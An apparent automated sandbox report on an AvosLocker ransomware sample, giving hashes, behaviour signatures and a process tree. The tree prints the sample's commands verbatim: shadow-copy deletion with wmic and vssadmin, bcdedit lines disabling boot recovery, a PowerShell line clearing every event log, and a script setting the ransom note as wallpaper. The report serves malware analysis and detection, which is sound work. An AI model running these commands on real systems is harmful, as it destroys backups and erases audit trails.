Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-09-2024 08:14

General

  • Target

    2024-09-23_9593e6fcf3366f0518b40dce630b6351_avoslocker_cobalt-strike.exe

  • Size

    807KB

  • MD5

    9593e6fcf3366f0518b40dce630b6351

  • SHA1

    7443de0765d0e97b1e31f92070fdd1746c67331f

  • SHA256

    7d1e470e36c68e1156a7828f8002254dcde68dc61f998ab5636c12ba63f472dd

  • SHA512

    afd962db6af6e2f3ccb6ce467431d22bb9a1209840341f07a8f2e8e724e4f1ae7da786cbe53a399fc289226796e96ec7fad43f1d6750304c6a84aae1ef8c5195

  • SSDEEP

    12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYAS:u4s+oT+NXBLi0rjFXvyHBlbiCZa8

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Renames multiple (10403) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-09-23_9593e6fcf3366f0518b40dce630b6351_avoslocker_cobalt-strike.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-09-23_9593e6fcf3366f0518b40dce630b6351_avoslocker_cobalt-strike.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3028
    • C:\Windows\system32\cmd.exe
      cmd /c wmic shadowcopy delete /nointeractive
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1556
    • C:\Windows\system32\cmd.exe
      cmd /c vssadmin.exe Delete Shadows /All /Quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2756
      • C:\Windows\system32\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:1612
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} recoveryenabled No
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2760
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2920
    • C:\Windows\system32\cmd.exe
      cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1296
    • C:\Windows\system32\cmd.exe
      cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1592
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:6012
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\247783023.png /f
        3⤵
        • Sets desktop wallpaper using registry
        PID:5560
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
        3⤵
          PID:5924
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3288
    • C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      1⤵
        PID:2920

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads

      • C:\GET_YOUR_FILES_BACK.txt

        Filesize

        1KB

        MD5

        e88368c43d7de561cfbedc2b648244da

        SHA1

        44ec9116dd8dfe89df6549f96ec18dccef15cd20

        SHA256

        6ab96b28dc9bc5dd0130e8eee1a8810b87b60feeff054a6a8fa509110aaaa881

        SHA512

        e123f63bd0ff2507634c16832d71e3be6f9e52b39df4b1bd3003035f68c1c4c5692cf3cd566cfca4247569e7fe8da0c40aea2f78b9a7797def8de8b0eeef28fd

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        1a65aed315425671eea1a56e72ad8b03

        SHA1

        b51e4268f35b7eec4a29744047cc618af0cd4614

        SHA256

        f11364f50429da1c0d63e9d1b138998d73780a81c1b8ac4a62177a21ae9f5ea6

        SHA512

        e6bdade527f3e9ed8508ee636b537e6f7eedeb3aa2aac073eee57e611083ee1973708b2b56ef7978b90bb6e22947be56c299a59bafdcd124a8f9b0f7dccb5347

      • memory/1592-1208-0x00000000021A0000-0x00000000021A8000-memory.dmp

        Filesize

        32KB

      • memory/1592-1196-0x000000001B6B0000-0x000000001B992000-memory.dmp

        Filesize

        2.9MB

      • memory/6012-24554-0x000000001B670000-0x000000001B952000-memory.dmp

        Filesize

        2.9MB

      • memory/6012-24555-0x00000000021E0000-0x00000000021E8000-memory.dmp

        Filesize

        32KB